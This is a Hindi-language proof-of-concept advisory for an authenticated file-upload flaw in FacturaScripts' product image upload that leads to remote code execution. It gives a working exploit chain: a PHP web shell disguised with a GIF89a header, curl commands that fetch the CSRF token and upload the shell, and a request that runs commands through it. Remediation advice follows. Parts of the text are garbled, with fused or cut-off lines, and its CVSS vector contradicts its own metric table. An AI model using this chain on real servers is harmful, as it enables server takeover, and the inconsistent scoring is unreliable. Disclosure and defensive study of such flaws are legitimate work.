
फैक्टुरास्क्रिप्ट्स RCE एक्सप्लॉइट - प्रूफ ऑफ कॉन्सेप्ट
FacturaScripts की उत्पाद छवि अपलोड कार्यक्षमता में एक प्रमाणित असीमित फ़ाइल अपलोड भेद्यता मौजूद है। मान्य क्रेडेंशियल वाला एक हमलावर GIF छवि के रूप में प्रच्छन्न PHP फ़ाइल (GIF89a हेडर का उपयोग करके) अपलोड कर सकता है, जिससे MIME प्रकार सत्यापन को बाईपास किया जा सकता है। फ़ाइल अपने मूल एक्सटेंशन के साथ संग्रहीत की जाती है, जिसमें .php जैसे निष्पादन योग्य एक्सटेंशन शामिल हैं।
भेद्यता इसमें मौजूद है:
Core/Lib/ExtendedController/ProductImagesTrait.php
विशेष रूप से addImageAction() विधि में।
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/" शामिल है या नहींimage/gif के रूप में पहचानता है.php एक्सटेंशन के साथ सहेजा जाता हैअपलोड की गई फ़ाइलें इसमें संग्रहीत की जाती हैं:
/MyFiles/YYYY/MM/X.php
जहाँ X एक स्वतः-वृद्धि आईडी है। यह सीधे दूरस्थ निष्पादन की अनुमति देता है:
http://target/MyFiles/2026/03/2.php?cmd=id
सफल शोषण निम्न की अनुमति देता है:
एक हमलावर सर्वर पर निष्पादन योग्य एक्सटेंशन (जैसे .php) वाली फ़ाइलें अपलोड कर सकता है, जो सर्वर कॉन्फ़िगरेशन के आधार पर आगे के शोषण का कारण बन सकता है।
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSID निकालेंcurl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
आधार स्कोर: 6.3 (मध्यम)
| मीट्रिक | मान |
|---|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Scope | Changed (S:C) |
| Confidentiality | High (C:H) |
| Integrity | High (I:H) |
| Availability | High (A:H) |
| फ़ील्ड | मान |
|---|---|
| Ecosystem | Packagist |
| CVE ID | CVE-2026-42879 |
| Package Name | facturascripts/facturascripts |
| Affected Versions | <= 2025.81 |
| Patched Versions | Not yet patched |
| Fixed in | Pending |
.php, .phtml, .phar, या अन्य निष्पादन योग्य एक्सटेंशन में समाप्त होता है, चाहे MIME प्रकार कुछ भी होgetClientOriginalName() का कभी उपयोग न करें; सत्यापित एक्सटेंशन के साथ एक सुरक्षित UUID-आधारित नाम निर्दिष्ट करेंfileinfo जैसी लाइब्रेरी के साथ वास्तविक फ़ाइल सामग्री (मैजिक बाइट्स + एक्सटेंशन + MIME प्रकार) सत्यापित करें